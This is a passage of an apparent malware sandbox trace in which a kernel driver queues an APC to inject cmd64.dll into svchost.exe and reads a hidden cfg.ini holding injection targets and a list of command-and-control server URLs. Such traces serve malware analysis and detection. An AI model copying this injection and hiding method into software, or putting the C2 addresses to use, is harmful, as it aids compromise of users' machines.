(in: ProcessHandle=0xffffffff800003a0, BaseAddress=0xfffff88002f9dae8, ZeroBits=0x0, RegionSize=0xfffff88002f9d9f8, AllocationType=0x3000, Protect=0x40 | out: BaseAddress=0xfffff88002f9dae8*=0x50000, RegionSize=0xfffff88002f9d9f8*=0x1000) returned 0x0 [0077.490] _snprintf (in: _Dest=0x50020, _Count=0x103, _Format="\\\\?\\globalroot%S" | out: _Dest="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cmd64.dll") returned 49 [0077.490] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x58) returned 0xfffffa800c1c5a90 [0077.490] KeInitializeApc (Apc=0xfffffa800c1c5a90, Thread=0xfffffa80035cc550, TargetEnvironment=0x0, KernelRoutine=0xfffffa80027ca950, RundownRoutine=0x0, NormalRoutine=0x50128, Mode=0xfffff88000000001, Context=0x50000) [0077.490] KeInsertQueueApc (Apc=0xfffffa800c1c5a90, SystemArgument1=0x0, SystemArgument2=0x0, PriorityBoost=0x0) returned 1 [0077.490] ZwUnmapViewOfSection (ProcessHandle=0xffffffffffffffff, BaseAddress=0x7fffffa0000) returned 0x0 [0077.490] ZwClose (Handle=0x14) returned 0x0 [0077.490] ZwClose (Handle=0xffffffff80000368) returned 0x0 [0077.490] _snprintf (in: _Dest=0xfffff88002f9d450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cmd64.dll") returned 18 [0077.490] KeEnterCriticalRegion () [0077.490] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0077.490] IoGetRequestorProcess (Irp=0xfffffa8003566d20) returned 0xfffffa80018ab040 [0077.490] FsRtlFastUnlockAll (FileLock=0xfffffa80027db068, FileObject=0xfffffa80035ccc70, ProcessId=0xfffffa80018ab040, Context=0x0) returned 0xc000007e [0077.490] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0077.490] KeLeaveCriticalRegion () [0077.490] IofCompleteRequest (Irp=0xfffffa8003566d20, PriorityBoost=0) [0077.490] KeUnstackDetachProcess (ApcState=0xfffff88002f9da58) [0077.490] PsGetProcessImageFileName () returned 0xfffffa80036187a0 [0077.490] _snprintf (in: _Dest=0xfffffa800c1c5378, _Count=0x103, _Format="%s (x64)" | out: _Dest="svchost.exe (x64)") returned 17 [0077.490] RtlInitUnicodeString (in: DestinationString=0xfffff88002f9d7b0, SourceString="\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: DestinationString="\\device\\000001a9\\0d24eb7c\\cfg.ini") [0077.491] ZwCreateFile (in: FileHandle=0xfffff88002f9db18, DesiredAccess=0x100003, ObjectAttributes=0xfffff88002f9d7d8*(Length=0x30, RootDirectory=0x0, ObjectName="\\device\\000001a9\\0d24eb7c\\cfg.ini" (normalized: "\\device\\000001a9\\0d24eb7c\\cfg.ini"), Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0xfffff88002f9d7a0, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x1, CreateDisposition=0x3, CreateOptions=0x22, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0xfffff88002f9db18*=0xffffffff80000368, IoStatusBlock=0xfffff88002f9d7a0) returned 0x0 [0077.491] _snprintf (in: _Dest=0xfffff88002f9cf10, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0077.491] KeEnterCriticalRegion () [0077.491] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0077.491] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80036137f0 [0077.491] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80036137f0 | out: Irp=0xfffffa80036137f0) returned 0xfffffa800360e010 [0077.491] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800360e010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800360e010) [0077.491] KeInitializeEvent (in: Event=0xfffff88002f9cd80, Type=0x0, State=0 | out: Event=0xfffff88002f9cd80) [0077.491] IdePortDispatch () returned 0x103 [0077.491] KeWaitForMutexObject () returned 0x0 [0077.491] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0077.491] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0077.491] strncpy (in: _Dest=0xfffffa80027dafe0, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0077.491] FsRtlInitializeFileLock (FileLock=0xfffffa80027daff0, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0077.491] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800c1c5900 [0077.491] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0077.491] KeLeaveCriticalRegion () [0077.491] IofCompleteRequest (Irp=0xfffffa8003566d20, PriorityBoost=0) [0077.491] ZwAllocateVirtualMemory (in: ProcessHandle=0xffffffffffffffff, BaseAddress=0xfffff88002f9d880, ZeroBits=0x0, RegionSize=0xfffff88002f9d888, AllocationType=0x3000, Protect=0x4 | out: BaseAddress=0xfffff88002f9d880*=0x90000, RegionSize=0xfffff88002f9d888*=0x1000) returned 0x0 [0077.491] NtLockFile (in: FileHandle=0xffffffff80000368, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, IoStatusBlock=0x90000, ByteOffset=0x90010, Length=0x90018, Key=0x0, FailImmediatedly=0, ExclusiveLock=1 | out: IoStatusBlock=0x90000) returned 0x0 [0077.491] _snprintf (in: _Dest=0xfffff88002f9d450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0077.491] KeEnterCriticalRegion () [0077.491] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0077.491] FsRtlProcessFileLock (FileLock=0xfffffa80027daff0, Irp=0xfffffa8003566d20, Context=0x0) returned 0x0 [0077.491] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0077.491] KeLeaveCriticalRegion () [0077.491] ZwQueryInformationFile (in: FileHandle=0xffffffff80000368, IoStatusBlock=0xfffff88002f9d7a0, FileInformation=0xfffff88002f9d7c0, Length=0x18, FileInformationClass=0x5 | out: IoStatusBlock=0xfffff88002f9d7a0, FileInformation=0xfffff88002f9d7c0) returned 0x0 [0077.491] _snprintf (in: _Dest=0xfffff88002f9d250, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0077.491] KeEnterCriticalRegion () [0077.491] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0077.491] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80036137f0 [0077.492] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80036137f0 | out: Irp=0xfffffa80036137f0) returned 0xfffffa800360e010 [0077.492] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800360e010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800360e010) [0077.492] KeInitializeEvent (in: Event=0xfffff88002f9d0e0, Type=0x0, State=0 | out: Event=0xfffff88002f9d0e0) [0077.492] IdePortDispatch () returned 0x103 [0077.492] KeWaitForMutexObject () returned 0x0 [0077.492] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0077.492] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0077.492] KeLeaveCriticalRegion () [0077.492] IofCompleteRequest (Irp=0xfffffa8003566d20, PriorityBoost=0) [0077.492] FsRtlAllocatePool (PoolType=0x1, NumberOfBytes=0x197) returned 0xfffff8a000ac1b70 [0077.492] _snprintf (in: _Dest=0xfffff88002f9d9d0, _Count=0x104, _Format="[%s]\r\n" | out: _Dest="[inject]\r\n") returned 10 [0077.492] _strlwr (in: _Str="[inject]\r\n" | out: _Str="[inject]\r\n") returned="[inject]\r\n" [0077.492] _snprintf (in: _Dest=0xfffff88002f9d8c0, _Count=0x104, _Format="%s=" | out: _Dest="svchost.exe (x64)=") returned 18 [0077.492] _strlwr (in: _Str="svchost.exe (x64)=" | out: _Str="svchost.exe (x64)=") returned="svchost.exe (x64)=" [0077.492] ZwReadFile (in: FileHandle=0xffffffff80000368, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0xfffff88002f9d7a0, Buffer=0xfffff8a000ac1b70, BufferLength=0x196, ByteOffset=0x0, Key=0x0 | out: IoStatusBlock=0xfffff88002f9d7a0, Buffer=0xfffff8a000ac1b70*) returned 0x0 [0077.492] _snprintf (in: _Dest=0xfffff88002f9d230, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0077.492] KeEnterCriticalRegion () [0077.492] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0077.492] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800360e010, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c28b70 [0077.492] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80036137f0 [0077.492] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80036137f0 | out: Irp=0xfffffa80036137f0) returned 0xfffffa80035ccd60 [0077.492] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80035ccd60, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80035ccd60) [0077.492] KeInitializeEvent (in: Event=0xfffff88002f9d090, Type=0x0, State=0 | out: Event=0xfffff88002f9d090) [0077.492] IdePortDispatch () returned 0x103 [0077.492] KeWaitForMutexObject () returned 0x0 [0077.492] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0077.493] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80036137f0 [0077.493] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80036137f0 | out: Irp=0xfffffa80036137f0) returned 0xfffffa80035ccd60 [0077.493] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80035ccd60, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80035ccd60) [0077.493] KeInitializeEvent (in: Event=0xfffff88002f9d090, Type=0x0, State=0 | out: Event=0xfffff88002f9d090) [0077.493] IdePortDispatch () returned 0x103 [0077.493] KeWaitForMutexObject () returned 0x0 [0077.494] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0077.494] KeLeaveCriticalRegion () [0077.494] IofCompleteRequest (Irp=0xfffffa8003566d20, PriorityBoost=0) [0077.495] strstr (_Str="[main]\r\nversion=0.03\r\naid=66671\r\nsid=0\r\nbuilddate=351\r\ninstalldate=6.12.2016 9:36:14\r\n[inject]\r\n*=cmd.dll\r\n* (x64)=cmd64.dll\r\n[cmd]\r\nsrv=https://lo4undreyk.com/;https://sh01cilewk.com/;https://cap01tchaa.com/;https://kur1k0nona.com/;https://u101mnay2k.com/\r\nwsrv=http://gnarenyawr.com/;http://rinderwayr.com/;http://jukdoout0.com/;http://swltcho0.com/;http://ranmjyuke.com/\r\npsrv=http://crj71ki813ck.com/\r\n", _SubStr="[inject]\r\n") returned="[inject]\r\n*=cmd.dll\r\n* (x64)=cmd64.dll\r\n[cmd]\r\nsrv=https://lo4undreyk.com/;https://sh01cilewk.com/;https://cap01tchaa.com/;https://kur1k0nona.com/;https://u101mnay2k.com/\r\nwsrv=http://gnarenyawr.com/;http://rinderwayr.com/;http://jukdoout0.com/;http://swltcho0.com/;http://ranmjyuke.com/\r\npsrv=http://crj71ki813ck.com/\r\n" [0077.495] strstr (_Str="*=cmd.dll\r\n* (x64)=cmd64.dll\r\n", _SubStr="svchost.exe (x64)=") returned 0x0 [0077.495] ZwFreeVirtualMemory (ProcessHandle=0xffffffffffffffff, BaseAddress=0xfffff88002f9d880*=0x90000, RegionSize=0xfffff88002f9d888, FreeType=0x8000) returned 0x0 [0077.495] ExFreePoolWithTag (P=0xfffff8a000ac1b70, Tag=0x0) [0077.495] ZwClose (Handle=0xffffffff80000368) returned 0x0 [0077.495] _snprintf (in: _Dest=0xfffff88002f9d310, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0077.495] KeEnterCriticalRegion () [0077.495] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0077.495] IoGetRequestorProcess (Irp=0xfffffa8003566d20) returned 0xfffffa80018ab040 [0077.495] FsRtlFastUnlockAll (FileLock=0xfffffa80027daff0, FileObject=0xfffffa800c1c59a0, ProcessId=0xfffffa80018ab040, Context=0x0) returned 0x0 [0077.495] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0077.495] KeLeaveCriticalRegion () [0077.495] IofCompleteRequest (Irp=0xfffffa8003566d20, PriorityBoost=0) [0077.495] _snprintf (in: _Dest=0xfffff88002f9d330, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0077.495] KeEnterCriticalRegion () [0077.495] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0077.495] ExFreePoolWithTag (P=0xfffffa800c1c5900, Tag=0x0) [0077.495] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0077.495] KeLeaveCriticalRegion () [0077.495] IofCompleteRequest (Irp=0xfffffa8003566d20, PriorityBoost=0) [0077.495] ZwClose (Handle=0xffffffff800003a0) returned 0x0 [0077.495] KeSetEvent (in: Event=0xfffffa800c1c5050, Increment=0x0, Wait=0 | out: Event=0xfffffa800c1c5050) returned 0 [0077.787] ZwOpenProcess (in: ProcessHandle=0xfffff88002f9db70, DesiredAccess=0x1fffff, ObjectAttributes=0xfffff88002f9db30*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x200, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xfffff88002f9db20*(UniqueProcess=0x2c4, UniqueThread=0x0) | out: ProcessHandle=0xfffff88002f9db70*=0xffffffff800003b4) returned 0x0 [0077.787] RtlInitUnicodeString (in: DestinationString=0xfffff88002f9d7b0, SourceString="\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: DestinationString="\\device\\000001a9\\0d24eb7c\\cfg.ini") [0077.787] ZwCreateFile (in: FileHandle=0xfffff88002f9db18, DesiredAccess=0x100003, ObjectAttributes=0xfffff88002f9d7d8*(Length=0x30, RootDirectory=0x0, ObjectName="\\device\\000001a9\\0d24eb7c\\cfg.ini" (normalized: "\\device\\000001a9\\0d24eb7c\\cfg.ini"), Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0xfffff88002f9d7a0, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x1, CreateDisposition=0x3, CreateOptions=0x22, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0xfffff88002f9db18*=0xffffffff800003f4, IoStatusBlock=0xfffff88002f9d7a0) returned 0x0 [0077.787] _snprintf (in: _Dest=0xfffff88002f9cf10, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0077.787] KeEnterCriticalRegion () [0077.787] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0077.787] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800c9898a0 [0077.787] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800c9898a0 | out: Irp=0xfffffa800c9898a0) returned 0xfffffa80036328c0 [0077.787] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80036328c0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80036328c0) [0077.787] KeInitializeEvent (in: Event=0xfffff88002f9cd80, Type=0x0, State=0 | out: Event=0xfffff88002f9cd80) [0077.787] IdePortDispatch () returned 0x103 [0077.787] KeWaitForMutexObject () returned 0x0 [0077.787] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0077.787] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0077.787] strncpy (in: _Dest=0xfffffa80027dafe0, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0077.787] FsRtlInitializeFileLock (FileLock=0xfffffa80027daff0, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0077.787] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80036308a0 [0077.787] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0077.787] KeLeaveCriticalRegion () [0077.787] IofCompleteRequest (Irp=0xfffffa8003622ee0, PriorityBoost=0) [0077.787] ZwAllocateVirtualMemory (in: ProcessHandle=0xffffffffffffffff, BaseAddress=0xfffff88002f9d880, ZeroBits=0x0, RegionSize=0xfffff88002f9d888, AllocationType=0x3000, Protect=0x4 | out: BaseAddress=0xfffff88002f9d880*=0x90000, RegionSize=0xfffff88002f9d888*=0x1000) returned 0x0 [0077.787] NtLockFile (in: FileHandle=0xffffffff800003f4, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, IoStatusBlock=0x90000, ByteOffset=0x90010, Length=0x90018, Key=0x0, FailImmediatedly=0, ExclusiveLock=1 | out: IoStatusBlock=0x90000) returned 0x0 [0077.787] _snprintf (in: _Dest=0xfffff88002f9d450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0077.787] KeEnterCriticalRegion () [0077.788] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0077.788] FsRtlProcessFileLock (FileLock=0xfffffa80027daff0, Irp=0xfffffa8003622ee0, Context=0x0) returned 0x0 [0077.788] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0077.788] KeLeaveCriticalRegion () [0077.788] ZwQueryInformationFile (in: FileHandle=0xffffffff800003f4, IoStatusBlock=0xfffff88002f9d7a0, FileInformation=0xfffff88002f9d7c0, Length=0x18, FileInformationClass=0x5 | out: IoStatusBlock=0xfffff88002f9d7a0, FileInformation=0xfffff88002f9d7c0) returned 0x0 [0077.788] _snprintf (in: _Dest=0xfffff88002f9d250, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0077.788] KeEnterCriticalRegion () [0077.788] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0077.788] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800c9898a0 [0077.788] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800c9898a0 | out: Irp=0xfffffa800c9898a0) returned 0xfffffa80036328c0 [0077.788] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80036328c0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80036328c0) [0077.788] KeInitializeEvent (in: Event=0xfffff88002f9d0e0, Type=0x0, State=0 | out: Event=0xfffff88002f9d0e0) [0077.788] IdePortDispatch () returned 0x103 [0077.788] KeWaitForMutexObject () returned 0x0 [0077.788] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0077.788] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0077.788] KeLeaveCriticalRegion () [0077.788] IofCompleteRequest (Irp=0xfffffa8003622ee0, PriorityBoost=0) [0077.788] FsRtlAllocatePool (PoolType=0x1, NumberOfBytes=0x197) returned 0xfffff8a000b19e60 [0077.788] _snprintf (in: _Dest=0xfffff88002f9d9d0, _Count=0x104, _Format="[%s]\r\n" | out: _Dest="[inject]\r\n") returned 10 [0077.788] _strlwr (in: _Str="[inject]\r\n" | out: _Str="[inject]\r\n") returned="[inject]\r\n" [0077.788] _snprintf (in: _Dest=0xfffff88002f9d8c0, _Count=0x104, _Format="%s=" | out: _Dest="* (x64)=") returned 8 [0077.788] _strlwr (in: _Str="* (x64)=" | out: _Str="* (x64)=") returned="* (x64)=" [0077.788] ZwReadFile (in: FileHandle=0xffffffff800003f4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0xfffff88002f9d7a0, Buffer=0xfffff8a000b19e60, BufferLength=0x196, ByteOffset=0x0, Key=0x0 | out: IoStatusBlock=0xfffff88002f9d7a0, Buffer=0xfffff8a000b19e60*) returned 0x0 [0077.788] _snprintf (in: _Dest=0xfffff88002f9d230, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0077.788] KeEnterCriticalRegion () [0077.788] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0077.788] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80036328c0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c97e60 [0077.788] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800c9898a0 [0077.788] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800c9898a0 | out: Irp=0xfffffa800c9898a0) returned 0xfffffa800363a7f0 [0077.788] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800363a7f0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800363a7f0) [0077.788] KeInitializeEvent (in: Event=0xfffff88002f9d090, Type=0x0, State=0 | out: Event=0xfffff88002f9d090) [0077.788] IdePortDispatch () returned 0x103 [0077.789] KeWaitForMutexObject () returned 0x0 [0077.789] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0077.789] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800c9898a0 [0077.789] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800c9898a0 | out: Irp=0xfffffa800c9898a0) returned 0xfffffa800363a7f0 [0077.789] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800363a7f0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800363a7f0) [0077.789] KeInitializeEvent (in: Event=0xfffff88002f9d090, Type=0x0, State=0 | out: Event=0xfffff88002f9d090) [0077.789] IdePortDispatch () returned 0x103 [0077.789] KeWaitForMutexObject () returned 0x0 [0077.789] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0077.789] KeLeaveCriticalRegion () [0077.789] IofCompleteRequest (Irp=0xfffffa8003622ee0, PriorityBoost=0) [0077.789] strstr (_Str="[main]\r\nversion=0.03\r\naid=66671\r\nsid=0\r\nbuilddate=351\r\ninstalldate=6.12.2016 9:36:14\r\n[inject]\r\n*=cmd.dll\r\n* (x64)=cmd64.dll\r\n[cmd]\r\nsrv=https://lo4undreyk.com/;https://sh01cilewk.com/;https://cap01tchaa.com/;https://kur1k0nona.com/;https://u101mnay2k.com/\r\nwsrv=http://gnarenyawr.com/;http://rinderwayr.com/;http://jukdoout0.com/;http://swltcho0.com/;http://ranmjyuke.com/\r\npsrv=http://crj71ki813ck.com/\r\n", _SubStr="[inject]\r\n") returned="[inject]\r\n*=cmd.dll\r\n* (x64)=cmd64.dll\r\n[cmd]\r\nsrv=https://lo4undreyk.com/;https://sh01cilewk.com/;https://cap01tchaa.com/;https://kur1k0nona.com/;https://u101mnay2k.com/\r\nwsrv=http://gnarenyawr.com/;http://rinderwayr.com/;http://jukdoout0.com/;http://swltcho0.com/;http://ranmjyuke.com/\r\npsrv=http://crj71ki813ck.com/\r\n" [0077.789] strstr (_Str="*=cmd.dll\r\n* (x64)=cmd64.dll\r\n", _SubStr="* (x64)=") returned="* (x64)=cmd64.dll\r\n" [0077.789] strncpy (in: _Dest=0xfffffa800363ede4, _Source="cmd64.dll", _Count=0x104 | out: _Dest="cmd64.dll") returned="cmd64.dll" [0077.789] ZwFreeVirtualMemory (ProcessHandle=0xffffffffffffffff, BaseAddress=0xfffff88002f9d880*=0x90000, RegionSize=0xfffff88002f9d888, FreeType=0x8000) returned 0x0 [0077.789] ExFreePoolWithTag (P=0xfffff8a000b19e60, Tag=0x0) [0077.789] ZwClose (Handle=0xffffffff800003f4) returned 0x0 [0077.789] _snprintf (in: _Dest=0xfffff88002f9d310, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0077.789] KeEnterCriticalRegion () [0077.789] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0077.789] IoGetRequestorProcess (Irp=0xfffffa8003622ee0) returned 0xfffffa80018ab040 [0077.789] FsRtlFastUnlockAll (FileLock=0xfffffa80027daff0, FileObject=0xfffffa80036322f0, ProcessId=0xfffffa80018ab040, Context=0x0) returned 0x0 [0077.789] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0077.789] KeLeaveCriticalRegion () [0077.789] IofCompleteRequest (Irp=0xfffffa8003622ee0, PriorityBoost=0) [0077.790] _snprintf (in: _Dest=0xfffff88002f9d330, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0077.790] KeEnterCriticalRegion () [0077.790] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0077.790] ExFreePoolWithTag (P=0xfffffa80036308a0, Tag=0x0) [0077.790] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0077.790] KeLeaveCriticalRegion () [0077.790] IofCompleteRequest (Irp=0xfffffa8003622ee0, PriorityBoost=0) [0077.790] KeStackAttachProcess (in: PROCESS=0xfffffa800363a240, ApcState=0xfffff88002f9da58 | out: PROCESS=0xfffffa800363a240, ApcState=0xfffff88002f9da58) [0077.790] _snwprintf (in: _Dest=0xfffffa800363ebdc, _Count=0x103, _Format="%s\\%S" | out: _Dest="\\device\\000001a9\\0d24eb7c\\cmd64.dll") returned 35 [0077.790] RtlInitUnicodeString (in: DestinationString=0xfffff88002f9da38, SourceString="\\device\\000001a9\\0d24eb7c\\cmd64.dll" | out: DestinationString="\\device\\000001a9\\0d24eb7c\\cmd64.dll") [0077.790] ZwOpenFile (in: FileHandle=0xfffff88002f9d9e8, DesiredAccess=0x100001, ObjectAttributes=0xfffff88002f9da08*(Length=0x30, RootDirectory=0x0, ObjectName="\\device\\000001a9\\0d24eb7c\\cmd64.dll" (normalized: "\\device\\000001a9\\0d24eb7c\\cmd64.dll"), Attributes=0x240, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0xfffff88002f9da48, ShareAccess=0x1, OpenOptions=0x20 | out: FileHandle=0xfffff88002f9d9e8*=0xffffffff800003f4, IoStatusBlock=0xfffff88002f9da48) returned 0x0 [0077.790] _snprintf (in: _Dest=0xfffff88002f9d150, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cmd64.dll") returned 18 [0077.790] KeEnterCriticalRegion () [0077.790] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0077.790] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800c9898a0 [0077.790] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800c9898a0 | out: Irp=0xfffffa800c9898a0) returned 0xfffffa80036328c0 [0077.790] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80036328c0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80036328c0) [0077.790] KeInitializeEvent (in: Event=0xfffff88002f9cfc0, Type=0x0, State=0 | out: Event=0xfffff88002f9cfc0) [0077.790] IdePortDispatch () returned 0x103 [0077.790] KeWaitForMutexObject () returned 0x0 [0077.790] _strnicmp (_Str1="cfg.ini", _Str="cmd64.dll", _MaxCount=0x10) returned -7 [0077.790] 